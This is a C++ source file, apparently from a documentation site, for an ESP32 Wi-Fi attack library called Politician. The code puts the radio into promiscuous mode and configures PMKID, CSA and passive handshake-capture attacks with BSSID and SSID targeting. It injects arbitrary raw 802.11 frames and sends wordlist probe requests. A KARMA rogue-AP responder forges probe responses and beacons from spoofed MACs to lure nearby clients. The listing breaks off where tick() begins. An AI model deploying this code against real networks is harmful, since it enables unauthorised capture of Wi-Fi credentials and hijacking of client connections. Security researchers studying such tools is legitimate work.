Politician.cpp

Go to the documentation of this file.

#include "Politician.h"
#include <string.h>
#include <esp_log.h>
 
#ifndef POLITICIAN_NO_DB
#include "PoliticianFingerprintDB.h"
#endif
 
namespace politician {
 
// ─── Static members ───────────────────────────────────────────────────────────
Politician *Politician::_instances[POLITICIAN_MAX_INSTANCES] = {};
bool        Politician::_wifiInitialized = false;
 
// Default 2.4GHz hopping sequence (channels 1-13)
const uint8_t Politician::HOP_SEQ[]  = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
const uint8_t Politician::HOP_COUNT  = sizeof(HOP_SEQ) / sizeof(HOP_SEQ[0]);
 
// 5GHz channel helper - common channels in most regulatory domains
static const uint8_t CHANNEL_5GHZ_COMMON[] = {
    36, 40, 44, 48,           // Band 1 (5.15-5.25 GHz) - Universally allowed
    149, 153, 157, 161, 165   // Band 4 (5.73-5.85 GHz) - UNII-3, widely allowed
};
 
// Helper function to check if channel is valid
static bool isValidChannel(uint8_t ch) {
    // 2.4GHz channels (1-14)
    if (ch >= 1 && ch <= 14) return true;
 
    // 5GHz channels - check common channels
    for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON); i++) {
        if (ch == CHANNEL_5GHZ_COMMON[i]) return true;
    }
    
    // Additional 5GHz channels (52-144, DFS bands - use with caution)
    if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144)) return true;
    
    return false;
}
 
// ─── Constructor ──────────────────────────────────────────────────────────────
Politician::Politician()
    : _active(false), _channel(1), _rxChannel(1), _hopping(false), _channelTrafficSeen(false),
      _lastHopMs(0), _lastRssi(0), _hopIndex(0),
      _m1Locked(false), _m1LockEndMs(0),
      _probeLocked(false), _probeLockEndMs(0),
      _customChannelCount(0),
      _eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
      _logCb(nullptr), _attackResultCb(nullptr), _ignoreCount(0),
      _fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
      _fishSsidLen(0), _fishChannel(1),
      _fishAuthLogged(false), _fishAssocLogged(false),
      _csaSecondBurstSent(false),
      _attackMask(ATTACK_ALL), _disconnectStrategy(STRATEGY_AUTO_FALLBACK), _csaFallbackMs(0),
      _hasTarget(false), _targetChannel(1),
      _capturedCount(0)
{
    memset(&_stats,           0, sizeof(_stats));
    memset(_attackOverrides,  0, sizeof(_attackOverrides));
    memset(_injectQueue,      0, sizeof(_injectQueue));
    memset(_sessions,         0, sizeof(_sessions));
    memset(_apCache,     0, sizeof(_apCache));
    memset(_captured,    0, sizeof(_captured));
    memset(_targetBssid, 0, sizeof(_targetBssid));
    memset(_fishBssid, 0, sizeof(_fishBssid));
    memset(_fishSsid,  0, sizeof(_fishSsid));
    memset(_ownStaMac, 0, sizeof(_ownStaMac));
    memset(_ignoreList, 0, sizeof(_ignoreList));
    memset(_ssidOverrides, 0, sizeof(_ssidOverrides));
    _ssidOverrideIdx = 0;
    memset(_eapMethods, 0, sizeof(_eapMethods));
#ifndef POLITICIAN_NO_MSCHAPV2
    memset(_msChapSessions, 0, sizeof(_msChapSessions));
#endif
#ifndef POLITICIAN_NO_KARMA
    memset(_karmaSeen, 0, sizeof(_karmaSeen));
    _karmaEnabled = false;
    _karmaSeenIdx = 0;
#endif
}
 
// ─── Logging ─────────────────────────────────────────────────────────────────
void Politician::_log(const char *fmt, ...) {
#ifndef POLITICIAN_NO_LOGGING
    char buf[256];
    va_list args;
    va_start(args, fmt);
    vsnprintf(buf, sizeof(buf), fmt, args);
    va_end(args);
 
    if (_logCb) {
        _logCb(buf);
    } else {
        printf("%s", buf);
    }
#endif
}
 
// ─── begin() ─────────────────────────────────────────────────────────────────
Error Politician::begin(const Config &cfg) {
    _cfg = cfg;
 
    // ── Register this instance in the shared instance registry ───────────────
    bool registered = false;
    for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) {
        if (_instances[i] == this) { registered = true; break; }  // already registered (re-begin)
    }
    if (!registered) {
        for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) {
            if (_instances[i] == nullptr) {
                _instances[i] = this;
                registered = true;
                break;
            }
        }
        if (!registered) {
            _log("[WiFi] ERR: all %d instance slots occupied\n", POLITICIAN_MAX_INSTANCES);
            return ERR_MAX_INSTANCES;
        }
    }
 
    // Validate and clamp critical config values
    if (_cfg.smart_hopping && _cfg.hop_min_dwell_ms >= _cfg.hop_max_dwell_ms) {
        _log("[Config] WARNING: hop_min_dwell_ms (%u) >= hop_max_dwell_ms (%u); clamping max to min+50ms\n",
             _cfg.hop_min_dwell_ms, _cfg.hop_max_dwell_ms);
        _cfg.hop_max_dwell_ms = _cfg.hop_min_dwell_ms + 50;
    }
    if (_cfg.fish_timeout_ms < 500) {
        _log("[Config] WARNING: fish_timeout_ms (%u) < 500ms; clamping to 500ms\n", _cfg.fish_timeout_ms);
        _cfg.fish_timeout_ms = 500;
    }
    if (_cfg.csa_wait_ms < 1000) {
        _log("[Config] WARNING: csa_wait_ms (%u) < 1000ms; clamping to 1000ms\n", _cfg.csa_wait_ms);
        _cfg.csa_wait_ms = 1000;
    }
#ifndef POLITICIAN_NO_KARMA
    _karmaEnabled = _cfg.karma_enabled;
#endif
 
    // ── WiFi driver init — only the first instance does this ─────────────────
    if (!_wifiInitialized) {
        wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
        if (esp_wifi_init(&wifi_cfg) != ESP_OK) return ERR_WIFI_INIT;
        if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK) return ERR_WIFI_INIT;
 
        if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK) return ERR_WIFI_INIT;
        if (esp_wifi_start() != ESP_OK) return ERR_WIFI_INIT;
 
        esp_log_level_set("wifi", ESP_LOG_NONE);
 
        wifi_promiscuous_filter_t filt = {
            .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
        };
        if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK) return ERR_WIFI_INIT;
        if (esp_wifi_set_promiscuous(true) != ESP_OK) return ERR_WIFI_INIT;
        if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK) return ERR_WIFI_INIT;
 
        _wifiInitialized = true;
    }
 
    wifi_config_t ap_cfg = {};
    const char *ap_ssid = _cfg.soft_ap_ssid ? _cfg.soft_ap_ssid : "WiFighter";
    size_t ap_ssid_len = strlen(ap_ssid);
    if (ap_ssid_len > 32) ap_ssid_len = 32; // wifi_ap_config_t::ssid is uint8_t[32]
    memcpy(ap_cfg.ap.ssid, ap_ssid, ap_ssid_len);
    ap_cfg.ap.ssid_len        = (uint8_t)ap_ssid_len;
    ap_cfg.ap.ssid_hidden     = _cfg.soft_ap_ssid ? 0 : 1;
    ap_cfg.ap.max_connection  = 4;
    ap_cfg.ap.authmode        = WIFI_AUTH_OPEN;
    ap_cfg.ap.channel         = 1;
    ap_cfg.ap.beacon_interval = 1000;
    esp_wifi_set_config(WIFI_IF_AP, &ap_cfg);
 
    esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
    _log("[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
        _ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
        _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
 
    if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK) return ERR_WIFI_INIT;
 
    // Initialize Thread Safety
    if (!_lock) {
        _lock = xSemaphoreCreateRecursiveMutex();
        if (!_lock) return ERR_WIFI_INIT;
    }
 
    // Initialize Async Processing Core (Ringbuffer + Task)
    if (!_rb) {
        _rb = xRingbufferCreate(16384, RINGBUF_TYPE_NOSPLIT);
        if (!_rb) return ERR_WIFI_INIT;
    }
 
    if (!_task) {
        xTaskCreatePinnedToCore(_workerTask, "pol_worker", 4096, this, 5, &_task, 0);
        if (!_task) return ERR_WIFI_INIT;
    }
 
    _initialized = true;
    _log("[WiFi] Ready — monitor mode ch%d\n", _channel);
    return OK;
}
 
// ─── Active gate ──────────────────────────────────────────────────────────────
void Politician::setActive(bool active) {
    if (!_initialized) return;
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _active = active;
        xSemaphoreGiveRecursive(_lock);
    }
    _log("[WiFi] Capture %s\n", active ? "ACTIVE" : "IDLE");
}
 
// ─── Channel control ──────────────────────────────────────────────────────────
Error Politician::setChannel(uint8_t ch) {
    if (!_initialized) return ERR_NOT_ACTIVE;
    if (!isValidChannel(ch)) return ERR_INVALID_CH;
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _channel = ch;
        esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
        xSemaphoreGiveRecursive(_lock);
    }
    return OK;
}
 
Error Politician::lockChannel(uint8_t ch) {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _hopping = false;
        xSemaphoreGiveRecursive(_lock);
    }
    return setChannel(ch);
}
 
void Politician::setIgnoreList(const uint8_t (*bssids)[6], uint8_t count) {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
        for (uint8_t i = 0; i < _ignoreCount; i++) {
            memcpy(_ignoreList[i], bssids[i], 6);
        }
        xSemaphoreGiveRecursive(_lock);
    }
    _log("[WiFi] Ignore list updated: %d BSSIDs\n", count);
}
 
void Politician::clearCapturedList() {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _capturedCount = 0;
        xSemaphoreGiveRecursive(_lock);
    }
    _log("[WiFi] Captured list cleared\n");
}
 
void Politician::markCaptured(const uint8_t *bssid) {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _markCaptured(bssid);
        xSemaphoreGiveRecursive(_lock);
    }
}
 
void Politician::startHopping(uint16_t dwellMs) {
    if (!_initialized) return;
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _hopping    = true;
        _active     = true;
        _hopIndex   = 0;
        _lastHopMs  = millis();
        _channelTrafficSeen = false;
        if (dwellMs > 0) _cfg.hop_dwell_ms = dwellMs;
        xSemaphoreGiveRecursive(_lock);
    }
    _log("[WiFi] Hopping started dwell=%dms (smart=%s)\n", _cfg.hop_dwell_ms, _cfg.smart_hopping ? "on" : "off");
}
 
void Politician::stopHopping() {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _hopping = false;
        xSemaphoreGiveRecursive(_lock);
    }
}
 
void Politician::stop() {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        if (_fishState != FISH_IDLE) {
            esp_wifi_disconnect();
            _fishState = FISH_IDLE;
        }
        _hopping          = false;
        _hasTarget        = false;
        _autoTarget       = false;
        _autoTargetActive = false;
        _m1Locked         = false;
        _probeLocked      = false;
        _active           = false;
        xSemaphoreGiveRecursive(_lock);
    }
    // Deregister from the shared instance registry so the ISR skips this instance.
    for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) {
        if (_instances[i] == this) {
            _instances[i] = nullptr;
            break;
        }
    }
    _initialized = false;
    _log("[WiFi] Engine stopped\n");
}
 
// ─── Attack mask ──────────────────────────────────────────────────────────────
void Politician::setAttackMask(uint8_t mask) {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _attackMask = mask;
        xSemaphoreGiveRecursive(_lock);
    }
    _log("[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
        !!(mask & ATTACK_PMKID), !!(mask & ATTACK_CSA), !!(mask & ATTACK_PASSIVE));
}
 
void Politician::setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask) {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
            if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0) {
                _attackOverrides[i].mask = mask; 
                xSemaphoreGiveRecursive(_lock);
                return;
            }
        }
        for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
            if (!_attackOverrides[i].active) {
                _attackOverrides[i].active = true;
                memcpy(_attackOverrides[i].bssid, bssid, 6);
                _attackOverrides[i].mask = mask; 
                xSemaphoreGiveRecursive(_lock);
                return;
            }
        }
        xSemaphoreGiveRecursive(_lock);
    }
    _log("[Attack] Override table full — ignoring per-BSSID mask request\n");
}
 
void Politician::setAttackMaskForSsid(const char *ssid, uint8_t mask, bool substring) {
    if (!ssid) return;
    uint8_t slen = (uint8_t)strnlen(ssid, 32);
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        for (int i = 0; i < MAX_SSID_OVERRIDES; i++) {
            if (_ssidOverrides[i].active && _ssidOverrides[i].ssid_len == slen &&
                memcmp(_ssidOverrides[i].ssid, ssid, slen) == 0) {
                _ssidOverrides[i].mask = mask;
                _ssidOverrides[i].substring = substring;
                xSemaphoreGiveRecursive(_lock);
                return;
            }
        }
        for (int i = 0; i < MAX_SSID_OVERRIDES; i++) {
            if (!_ssidOverrides[i].active) {
                _ssidOverrides[i].active = true;
                memcpy(_ssidOverrides[i].ssid, ssid, slen);
                _ssidOverrides[i].ssid[slen] = '\0';
                _ssidOverrides[i].ssid_len = slen;
                _ssidOverrides[i].mask = mask;
                _ssidOverrides[i].substring = substring;
                xSemaphoreGiveRecursive(_lock);
                return;
            }
        }
        // Circular eviction: overwrite the oldest entry (round-robin)
        uint8_t evict = _ssidOverrideIdx % MAX_SSID_OVERRIDES;
        _ssidOverrideIdx = (evict + 1) % MAX_SSID_OVERRIDES;
        _ssidOverrides[evict].active = true;
        memcpy(_ssidOverrides[evict].ssid, ssid, slen);
        _ssidOverrides[evict].ssid[slen] = '\0';
        _ssidOverrides[evict].ssid_len = slen;
        _ssidOverrides[evict].mask = mask;
        _ssidOverrides[evict].substring = substring;
        xSemaphoreGiveRecursive(_lock);
    }
}
 
void Politician::clearAttackMaskOverrides() {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        memset(_attackOverrides, 0, sizeof(_attackOverrides));
        memset(_ssidOverrides, 0, sizeof(_ssidOverrides));
        _ssidOverrideIdx = 0;
        xSemaphoreGiveRecursive(_lock);
    }
}
 
uint8_t Politician::_getAttackMask(const uint8_t *bssid) const {
    for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
        if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0)
            return _attackOverrides[i].mask;
    }
 
    char ap_ssid[33] = {};
    uint8_t ap_ssid_len = 0;
    _lookupSsid(bssid, ap_ssid, ap_ssid_len);
    if (ap_ssid_len > 0) {
        for (int i = 0; i < MAX_SSID_OVERRIDES; i++) {
            if (!_ssidOverrides[i].active) continue;
            bool match = false;
            if (_ssidOverrides[i].substring) {
                match = strstr(ap_ssid, _ssidOverrides[i].ssid) != nullptr;
            } else {
                match = (ap_ssid_len == _ssidOverrides[i].ssid_len &&
                         memcmp(ap_ssid, _ssidOverrides[i].ssid, ap_ssid_len) == 0);
            }
            if (match) return _ssidOverrides[i].mask;
        }
    }
    return _attackMask;
}
 
// ─── Target mode ──────────────────────────────────────────────────────────────
Error Politician::setTarget(const uint8_t *bssid, uint8_t channel) {
    if (!_initialized) return ERR_NOT_ACTIVE;
    if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT;
 
    if (_isCaptured(bssid)) {
        xSemaphoreGiveRecursive(_lock);
        return ERR_ALREADY_CAPTURED;
    }
 
    memcpy(_targetBssid, bssid, 6);
    _targetChannel = channel;
    _hasTarget     = true;
 
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
            _apCache[i].last_probe_ms = 0;
            break;
        }
    }
 
    _hopping = false;
    _active  = true;
    esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
    _channel   = channel;
    _rxChannel = channel;
    _log("[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
        bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
    
    xSemaphoreGiveRecursive(_lock);
    return OK;
}
 
void Politician::clearTarget() {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _hasTarget = false;
        memset(_targetBssid, 0, 6);
        xSemaphoreGiveRecursive(_lock);
    }
    _log("[WiFi] Target cleared — wardriving mode\n");
}
 
Error Politician::injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel, uint32_t lock_ms, bool wait_for_channel) {
    if (!_initialized) return ERR_NOT_ACTIVE;
    if (len > 256) return ERR_INVALID_ARG; // Invalid length for queue
    
    if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT;
    
    if (!wait_for_channel) {
        // Synchronous injection
        esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
        _channel = channel;
        _rxChannel = channel;
        _lastHopMs = millis();
        esp_wifi_80211_tx(WIFI_IF_STA, (void*)payload, len, false);
        _log("[Inject] Transmitted %d bytes on ch%d\n", (int)len, channel);
        if (lock_ms > 0) {
            // Temporarily lock the hopper for this duration
            _m1Locked = true;
            _m1LockEndMs = millis() + lock_ms;
        }
    } else {
        // Asynchronous injection (queue)
        bool queued = false;
        for (int i = 0; i < MAX_INJECT_QUEUE; i++) {
            if (!_injectQueue[i].active) {
                _injectQueue[i].active = true;
                _injectQueue[i].channel = channel;
                _injectQueue[i].len = len;
                _injectQueue[i].lock_ms = lock_ms;
                memcpy(_injectQueue[i].payload, payload, len);
                queued = true;
                _log("[Inject] Queued %d bytes for ch%d\n", (int)len, channel);
                break;
            }
        }
        if (!queued) {
            xSemaphoreGiveRecursive(_lock);
            return ERR_QUEUE_FULL; // Queue full
        }
    }
    
    xSemaphoreGiveRecursive(_lock);
    return OK;
}
 
void Politician::setChannelList(const uint8_t *channels, uint8_t count) {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        if (count == 0 || channels == nullptr) {
            _customChannelCount = 0;
            _hopIndex = 0;
            xSemaphoreGiveRecursive(_lock);
            _log("[WiFi] Channel list cleared — hopping all channels\n");
            return;
        }
        _customChannelCount = 0;
        for (uint8_t i = 0; i < count && i < POLITICIAN_MAX_CHANNELS; i++) {
            if (isValidChannel(channels[i])) {
                _customChannels[_customChannelCount++] = channels[i];
            }
        }
        _hopIndex = 0;
        xSemaphoreGiveRecursive(_lock);
    }
    _log("[WiFi] Channel list set: %d channels\n", _customChannelCount);
}
 
uint8_t Politician::getChannelsSortedByActivity(uint8_t *out, uint8_t count) const {
    if (!out || count == 0) return 0;
    uint8_t chs[200];
    uint32_t cnts[200];
    uint8_t n = 0;
    for (uint16_t i = 1; i < 200; i++) {
        if (_stats.channel_frames[i] > 0) {
            chs[n] = (uint8_t)i;
            cnts[n] = _stats.channel_frames[i];
            n++;
        }
    }
    for (uint8_t i = 1; i < n; i++) {
        uint8_t kc = chs[i];
        uint32_t kn = cnts[i];
        int16_t j = (int16_t)i - 1;
        while (j >= 0 && cnts[j] < kn) {
            chs[j + 1] = chs[j];
            cnts[j + 1] = cnts[j];
            j--;
        }
        chs[j + 1] = kc;
        cnts[j + 1] = kn;
    }
    uint8_t written = (n < count) ? n : count;
    for (uint8_t i = 0; i < written; i++) out[i] = chs[i];
    return written;
}
 
uint8_t Politician::setAutoChannelList(uint8_t topN) {
    if (topN > POLITICIAN_MAX_CHANNELS) topN = POLITICIAN_MAX_CHANNELS;
    uint8_t channels[POLITICIAN_MAX_CHANNELS];
    uint8_t n = getChannelsSortedByActivity(channels, topN);
    if (n > 0) setChannelList(channels, n);
    return n;
}
 
void Politician::setChannelBands(bool ghz24, bool ghz5) {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _customChannelCount = 0;
        if (ghz24) {
            for (uint8_t i = 0; i < HOP_COUNT && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) {
                _customChannels[_customChannelCount++] = HOP_SEQ[i];
            }
        }
        if (ghz5) {
            for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON) && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) {
                _customChannels[_customChannelCount++] = CHANNEL_5GHZ_COMMON[i];
            }
        }
        _hopIndex = 0;
        xSemaphoreGiveRecursive(_lock);
    }
    if (_customChannelCount == 0) {
        _log("[WiFi] setChannelBands: no bands selected — reverting to default 2.4GHz\n");
    } else {
        _log("[WiFi] Channel bands set: %d channels (2.4GHz=%d 5GHz=%d)\n",
             _customChannelCount, (int)ghz24, (int)ghz5);
    }
}
 
Error Politician::setTargetBySsid(const char *ssid) {
    if (!_initialized) return ERR_NOT_ACTIVE;
    uint8_t ssid_len = (uint8_t)strlen(ssid);
    uint8_t found_bssid[6] = {};
    uint8_t found_channel   = 0;
    bool    found           = false;
    int8_t  best_rssi       = INT8_MIN;
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        for (int i = 0; i < MAX_AP_CACHE; i++) {
            if (!_apCache[i].flags.active) continue;
            if (_apCache[i].ssid_len != ssid_len) continue;
            if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
            if (_apCache[i].rssi > best_rssi) {
                best_rssi = _apCache[i].rssi;
                // Copy out before releasing lock — avoids TOCTOU with worker task
                memcpy(found_bssid, _apCache[i].bssid, 6);
                found_channel = _apCache[i].channel;
                found = true;
            }
        }
        xSemaphoreGiveRecursive(_lock);
    }
    if (!found) return ERR_NOT_FOUND;
    return setTarget(found_bssid, found_channel);
}
 
void Politician::setAutoTarget(bool enable) {
    if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
        _autoTarget = enable;
        if (!enable) {
            _hasTarget = false;
            memset(_targetBssid, 0, 6);
            _autoTargetActive = false;
        }
        xSemaphoreGiveRecursive(_lock);
    }
    _log("[AutoTarget] %s\n", enable ? "enabled" : "disabled");
}
 
void Politician::_recordClientForAp(const uint8_t *bssid, const uint8_t *sta, int8_t rssi) {
    for (int i = 0; i < MAX_AP_CACHE; i++) {
        if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
        _apCache[i].flags.has_active_clients = true;
        for (int j = 0; j < _apCache[i].known_sta_count; j++)
            if (memcmp(_apCache[i].known_stas[j], sta, 6) == 0) return;
        if (_apCache[i].known_sta_count < 4) {
            memcpy(_apCache[i].known_stas[_apCache[i].known_sta_count++], sta, 6);
            if (_clientFoundCb) {
                ClientRecord rec;
                memset(&rec, 0, sizeof(rec));
                memcpy(rec.bssid, bssid, 6);
                memcpy(rec.sta, sta, 6);
                rec.rssi = rssi;
                rec.first_seen_ms = _apCache[i].first_seen_ms;
                rec.last_seen_ms = millis();
                rec.rand_mac = (sta[0] & 0x02) != 0;
#ifndef POLITICIAN_NO_DB
                const char *vendor = getVendor(sta);
                if (vendor) strncpy(rec.vendor, vendor, sizeof(rec.vendor) - 1);
#endif
                _clientFoundCb(rec);
            }
        }
        return;
    }
}
 
void Politician::_sendProbeRequest(const uint8_t *bssid, const char *ssid, uint8_t ssid_len) {
    uint8_t frame[68]; int p = 0; // 24 fixed header + 2+32 SSID IE + 2+8 Rates IE = 68 bytes max
    frame[p++] = 0x40; frame[p++] = 0x00; // FC: Probe Request
    frame[p++] = 0x00; frame[p++] = 0x00; // Duration
    memcpy(frame + p, bssid, 6); p += 6;      // DA (directed to AP)
    memcpy(frame + p, _ownStaMac, 6); p += 6; // SA
    memcpy(frame + p, bssid, 6); p += 6;      // BSSID
    frame[p++] = 0x00; frame[p++] = 0x00;     // Seq
    frame[p++] = 0x00;                        // SSID IE tag
    if (ssid && ssid_len > 0) {
        if (ssid_len > 32) ssid_len = 32;
        frame[p++] = ssid_len;
        memcpy(frame + p, ssid, ssid_len); p += ssid_len;
    } else {
        frame[p++] = 0x00;                    // wildcard (empty SSID)
    }
    frame[p++] = 0x01; frame[p++] = 0x08;     // Supported Rates IE
    frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
    frame[p++] = 0x0c; frame[p++] = 0x12; frame[p++] = 0x18; frame[p++] = 0x24;
    esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false);
    if (ssid && ssid_len > 0)
        _log("[Probe] Wordlist probe '%.*s' -> %02X:%02X:%02X:%02X:%02X:%02X\n",
            ssid_len, ssid, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
    else
        _log("[Probe] Wildcard probe -> %02X:%02X:%02X:%02X:%02X:%02X\n",
            bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
}
 
// ─── KARMA Rogue AP Responder ─────────────────────────────────────────────────
#ifndef POLITICIAN_NO_KARMA
void Politician::_sendKarmaResponse(const uint8_t *client, const char *ssid,
                                     uint8_t ssid_len, uint8_t channel, int8_t rssi) {
    if (ssid_len == 0 || ssid_len > 32) return;
 
    // Dedup: skip if we already responded to this (client, ssid) pair within 10 seconds
    uint32_t now = millis();
    uint8_t  slot = 0xFF;
    for (int i = 0; i < MAX_KARMA_SEEN; i++) {
        if (memcmp(_karmaSeen[i].client, client, 6) == 0 &&
            strncmp(_karmaSeen[i].ssid, ssid, ssid_len) == 0 &&
            _karmaSeen[i].ssid[ssid_len] == '\0') {
            if (now - _karmaSeen[i].last_ms < 10000u) return; // too soon
            slot = (uint8_t)i;
            break;
        }
    }
    if (slot == 0xFF) {
        // Circular eviction
        slot = _karmaSeenIdx % (uint8_t)MAX_KARMA_SEEN;
        _karmaSeenIdx = (_karmaSeenIdx + 1) % MAX_KARMA_SEEN;
    }
    memcpy(_karmaSeen[slot].client, client, 6);
    memcpy(_karmaSeen[slot].ssid, ssid, ssid_len);
    _karmaSeen[slot].ssid[ssid_len] = '\0';
    _karmaSeen[slot].last_ms = now;
 
    // Optionally skip SSIDs already in the AP cache with enc > ENC_OPEN
    // (it's a known secured network — no point echoing it as open)
    if (_cfg.karma_open_only) {
        for (int i = 0; i < MAX_AP_CACHE; i++) {
            if (!_apCache[i].flags.active) continue;
            if (_apCache[i].ssid_len != ssid_len) continue;
            if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
            if (_apCache[i].enc > ENC_OPEN) return;
        }
    }
 
    // Generate a locally-administered spoofed AP MAC (OUI prefix: 02:CA:FE)
    uint8_t ap_mac[6];
    uint32_t rnd = esp_random();
    ap_mac[0] = 0x02; ap_mac[1] = 0xCA; ap_mac[2] = 0xFE;
    ap_mac[3] = (rnd >> 16) & 0xFF;
    ap_mac[4] = (rnd >>  8) & 0xFF;
    ap_mac[5] =  rnd        & 0xFF;
 
    // ── Probe Response ────────────────────────────────────────────────────────
    uint8_t frame[128]; int p = 0;
    frame[p++] = 0x50; frame[p++] = 0x00; // FC: Probe Response
    frame[p++] = 0x00; frame[p++] = 0x00; // Duration
    memcpy(frame + p, client,  6); p += 6; // DA = probing client
    memcpy(frame + p, ap_mac,  6); p += 6; // SA = spoofed AP
    memcpy(frame + p, ap_mac,  6); p += 6; // BSSID = spoofed AP
    frame[p++] = 0x00; frame[p++] = 0x00;  // SeqCtrl
    memset(frame + p, 0, 8); p += 8;       // Timestamp
    frame[p++] = 0x64; frame[p++] = 0x00;  // Beacon interval: 100 TU
    frame[p++] = 0x21; frame[p++] = 0x04;  // Capabilities: ESS + Short Preamble (open)
    // SSID IE
    frame[p++] = 0x00; frame[p++] = ssid_len;
    memcpy(frame + p, ssid, ssid_len); p += ssid_len;
    // Supported Rates IE
    frame[p++] = 0x01; frame[p++] = 0x08;
    frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
    frame[p++] = 0x0c; frame[p++] = 0x18; frame[p++] = 0x30; frame[p++] = 0x6c;
    // DS Parameter Set IE
    frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = channel;
 
    esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false);
 
    // ── Beacon (one burst to the same frame, DA flipped to broadcast) ────────
    frame[0] = 0x80; frame[1] = 0x00;  // FC: Beacon
    memset(frame + 4, 0xFF, 6);         // DA: broadcast
    esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false);
 
    if (_karmaCb) {
        KarmaRecord rec;
        memset(&rec, 0, sizeof(rec));
        memcpy(rec.client, client, 6);
        memcpy(rec.ssid, ssid, ssid_len);
        rec.ssid_len = ssid_len;
        rec.channel  = channel;
        rec.rssi     = rssi;
        memcpy(rec.ap_mac, ap_mac, 6);
        _karmaCb(rec);
    }
 
    _log("[KARMA] Echoed '%.*s' to %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
        ssid_len, ssid,
        client[0], client[1], client[2], client[3], client[4], client[5], channel);
}
#endif // POLITICIAN_NO_KARMA
 
// ─── tick() ───────────────────────────────────────────────────────────────────
void Politician::tick() {
